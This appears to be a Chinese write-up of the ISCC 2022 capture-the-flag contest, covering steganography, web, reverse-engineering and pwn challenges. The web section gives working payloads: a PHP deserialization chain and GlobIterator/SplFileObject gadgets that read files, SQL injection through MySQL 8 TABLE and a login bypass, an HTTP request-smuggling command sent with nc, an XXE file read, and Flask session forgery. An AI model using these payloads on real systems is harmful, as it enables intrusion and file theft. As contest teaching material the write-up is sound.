ISCC2022wp

练武题

MISC

2022冬奥会

图片改一下高度,得到一串Unicode字符,解码得到,百度得到冰墩墩的小伙伴雪雪容融的原型为灯笼

image-20220510103428061

密码为:灯笼,解压txt打开得到flag:ISCC{beij-dahb-1035}

单板小将苏翊鸣

修改图片长度看到二维码,扫码得到一串Unicode编码,根据提示奖牌数为15 金9银4铜2 密码为15942,得到flag。

image-20220509221828563 image-20220509220311406

隐秘的信息

题目给出字符串base64解出easy_to_find_the_flag为压缩包密码,解压之后LSB隐写可以查看到一串字符,把前两行字符复制下来

图片.png

十六进制转ASCII字符,前面删除几个字符解出flag。

image-20220512122707246

降维打击

010搜索png文件头,发现有两张图片,手动分离,1_1.png,1_2.png, zsteg查看图片通道lsb,

image-20220509191922860

可发现有一个png文件,提取该通道图片,对照魔法之旅字母表,{MELF-DULP-NZNT}

image-20220509192926661

image-20220509193003993

藏在星空中的诗-1

调一下曲线可以看到数字和箭头 顺序输入就是13524,txt里字符拼接winrar解开压缩包,对比密码,可以得到flag。

image-20220509220839337

image-20220509221434646

藏在星空中的诗-2

对照藏在星空中的诗-1锁解出的字典,得到字符串\F0049\F0053\F0043\F0043\F007B\F0074\F006C\F007A\F006A\F004A\F0024\F0053\F002D\F0064\F0077\F0056\F0028\F0034\F0077\F007D,把\F转化成&#x;,unicode编码解出flag

image-20220510130850116 image-20220510131142941

套中套

010打开png发现里面缺少png文件头,结尾有一串字符串,补充文件头之后改一下高度,发现有flag1:wELC0m3_,下方base64解码得出flag2: _ISCC_Zo2z
image-20220522231633017

图片.png

image-20220522232530689

然后把1.png图片放到Stegsolve查看一下,发现图片高度不行,把高度改为600,打开发现flag1:wELC0m3_T0_tH3,拼接得到密码,wELC0m3_T0_tH3_ISCC_Zo2z

图片.png

解压之后使用背包加密解密,

import binascii
# open the public key and strip the spaces so we have a decent array
#fileKey = open("pub.Key", 'rb')
pubKey = ("").replace(' ', '').replace('L', '').strip('[]').split(',')
nbit = len(pubKey)
# open the encoded message
#fileEnc = open("enc.txt", 'rb')
encoded =("").replace('L', '')
print("start")
# create a large matrix of 0's (dimensions are public key length +1)
A = Matrix(ZZ, nbit + 1, nbit + 1)
# fill in the identity matrix
for i in range(nbit):
     A[i, i] = 1
# replace the bottom row with your public key
for i in range(nbit):
     A[i, nbit] = pubKey[i]
# last element is the encoded message
A[nbit, nbit] = -int(encoded)
res = A.LLL()
for i in range(0, nbit + 1):
# print solution
      M = res.row(i).list()
      flag = True
      for m in M:
         if m != 0 and m != 1:
            flag = False
            break
if flag:
        print(i, M)
        M = ''.join(str(j) for j in M)
# remove the last bit
        M = M[:-1]
        M = hex(int(M, 2))[2:-1]
        print(M)

图片.png

之后十六进制转ASCII,删除最后一位得到flag。

图片.png

真相只有一个

stream文件拉进010发现是一个文件头修改了的压缩包,修改为504B保存为zip文件,发现有密码,图片LSB隐写看到提示password为1998/xx/xx,想到和日期有关,查看图片日期看到拍摄日期为1988/1/1,试了一下19980101不对,改为19981111,密码正确。

image-20220510174625123

解开能看到pcapng文件,wires hark打开,搜索字符串password发现mp3文件,导出TFTP文件,打开

audacity查看频谱图,文件后面有一串类似于莫斯密码,短为.,长为-。

image-20220510175029662 image-20220510172750056 image-20220510172709639

解出ISCCMISC,还有一个flag.txt没有用到,百度搜了关键词提示到snow隐写,解出得到flag。

image-20220510174223972

Web

冬奥会

payload:Information={"year":"2022a","items":["skiin",[], 0]}

Pop2022

原题链接

payload:O%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BO%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BN%3Bs%3A6%3A%22string%22%3BO%3A13%3A%22Make_a_Change%22%3A1%3A%7Bs%3A6%3A%22effort%22%3BO%3A13%3A%22Try_Work_Hard%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A6%3A%22string%22%3BN%3B%7D

解出之后base64解码。

爱国敬业好青年-2

直接访问/flag出现这样不对哦~,抓包发现/change目录,POST请求显示close,GET请求显示open,写脚本,先GET请求让他显示open,之后POST请求/flag,经纬度为北京所在经纬度,得到flag。

image-20220511195817236image-20220511200232143

image-20220511200349325

findme

原生类利用

__destruct()是在对象被销毁的时候执行(unset),或者是代码都执行完的时候

进行审计,un0要不为null,un2要为null,un3是进行强比较

$this -> un4 = new $this->un0($this -> un1);un0也可以是一个可以控制的类,利用原生类进行构造payload:

图片.png

<?php
class a{
	public $un0 = GlobIterator;
	public $un1 = "./f*.*";
	public $un2 = null;
	public $un3 = "unserialize";
}

$b = new a();
echo(serialize($b));
?>

image-20220513183159234

读取文件:

<?php
class a{
	public $un0 = SplFileObject;
	public $un1 = "./fSSsybePonk_FindMe.txt";
	public $un2 = null;
	public $un3 = "unserialize";
}

$b = new a();
echo(serialize($b));
?>

image-20220513183108284

Easy-SQL

MySQL8新特性利用

select查询被过滤,大小写双写也无法回显,考虑到利用MySQL8新特性进行绕过 select,题目说邮箱忘记了,猜测表名为emails利用table进行查询,payload:id=-1 union table emails limit 7,1,可以看到第七行第一条数据显示有一个压缩包文件,下载打开像之前做过的题,参考原题。

image-20220509215413931

图片.png

源码中可以看到username无任何过滤,payload:usernmae=1' union select 1,0x61646d696e,3#&passwd=3'

image-20220509215743120

让我康康!

http走私,查询flag,得到/fl4g,一开始查询没出来结果,加上sercet_ip之后本地安全链接,提示只有本地客人才会给礼物,换成secr3t_ip,得到flag。

图片.png

payload:echo -en "GET / HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Length: 80\r\nSec-Websocket-Key1: x\r\n\r\nxxxxxxxxGET /fl4g HTTP/1.1\r\nHost: 127.0.0.1\r\nsecr3t_ip:127.0.0.1\r\nContent-Length: 60\r\n\r\nGET / HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n" | nc 59.110.159.206 7020

图片.png

参考链接

按照这个基本可以说是原题了,参杂了许多脑洞。

这是一道代码审计题

修改login参数信息,出来我本机ip,访问之后可以看到. /static/code.txt,访问之后出现一堆表情,base100解码后进行审计,是一道ssrf,waf绕过题目,利用xxe进行绕过,payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY test SYSTEM "./flag.txt"> ]>
<A>
<name>&test;</name>
<name1>&test;</name1>
</A>

得到flag:ISCC{jQvb8-aqiuVtrX19-i71bl18c-ew08Sq0xf}

图片.png

图片.png

图片.png

图片.png
图片.png

图片.png

图片.png

REVERSE

GetTheTable

IDA打开,可以看到有一串字符,base58解码得到flag

image-20220511220708303

image-20220511220832369

Sad Code

IDA打开发现里面有两个方程组,解码之后转十六进制字符之后转ASCII得到flag。

image-20220511194007563

image-20220511194122104

image-20220511194209268

Amy’s Code

ida打开之后直接看校验部分,打开发现一串密文,和一点简单的加密,main函数里还有一个加密函数

图片.png

打开之后发现只是一个简单的异或

图片.png

所以可写脚本如下

a=[149,169,137,134,212,188,177,184,177,197,192,179,153,138,145,128,137,140,175,184]
text="LWHFUENGDJGEFHYDHIGJ"
res=""
for i in range(20):
    res+=chr((a[i]-ord(text[i])^i))
    print(res)

Bob‘s Code

打开main函数发现几个加密函数和最后加密得到的密文,为方便写脚本,从倒数第一个加密函数开始看

图片.png图片.png

很显然这是一个rot加密函数,加密系数是a2,a2在此处传入的值为2,所以这个是rot2加密
图片.png

接下来这个函数调用了两次

图片.png

点进去分析一下

图片.png

也可以很轻松的分析出来这个函数是给字符串在a4的位置插入字符a3,还原的时候手动去一下就行

下一个函数,这个很显然是base64,但他对码表进行了处理,不能直接解码,还有将等于号换成了.

图片.png

然后下一个就是标准的base64,没啥好说的

图片.png

开始解密

首先是第一层,还原一下rot2

图片.png

得到第一次解密结果

.U1ZorfEzdgfIrfixT1rWa.fj5mW5oazH3VfVOVVjPmUZUbfPRVMPnd1PumD0.

再删掉加上的字符

U1ZorfEzdgfIrfixT1rWafj5mW5oazH3VfVOVVjPmUZUbfPRVMPnd1PumD0=

写脚本处理一下码表

图片.png

图片.png

得到flag

ISCC{Zl4u95aG-g6O0MHTF-ENVdV30f}

PWN

sim_treasure

参考链接脚本改一下就行了

image-20220509230149122

擂台题

MISC

666

用winrar进行压缩包修复打开,对图片用steghide隐写分析,盲猜弱口令密码123456,可以看到里面有一张high.png的图片,改高度发现了一串字符,!@#$%678()_+,为压缩包密码,

图片.png

wireshark打开流量包导出http对象

图片.png

json文件里存在网址,并且标有flag,打开网址得到一个gif文件,下载下来分析

图片.png

stegsolve打开一帧一帧查看,可以看到第7、第16、第26分别含有字符串

图片.png

图片.png

图片.png

第一部分:SE1ERWt1eTo4NTIg0Tg3NDU2MzIxIDk4NDIzIDk4NDIzIFJFQUxrZXk6eFN4eA==base64解出HMDEkey:852 987456321 98423 98423 REALkey:xSxx后面提示真正的密钥为:xSxx,在小键盘上打了一下前面数字字符串发现是数字形状汇成的字符为ISCC

图片.png

第二部分:pQLKpP第三部分:EPmw301eZRzuYvQ==拼接AES解密得到flag。lbwmeiyoukaig

图片.png

Web

Melody

登录之后提示说该身份不能拿到flag,

进行session伪造,访问/info/?Melody={ {config}}可以看到session的加密密码,利用脚本进行加密,

图片.png

改session,伪造管理员身份,

图片.png

登录成功,发现源码下面注释了一个文件,访问之后代码审计,

图片.png

图片.png

在/therealflag目录下,进行post传参,melody的用户名为管理员身份才可以读取flag,且name为melody,password为hug,改写脚本

图片.png

图片.png

图片.png

猜你喜欢

转载自blog.csdn.net/h_adam/article/details/125257005
今日推荐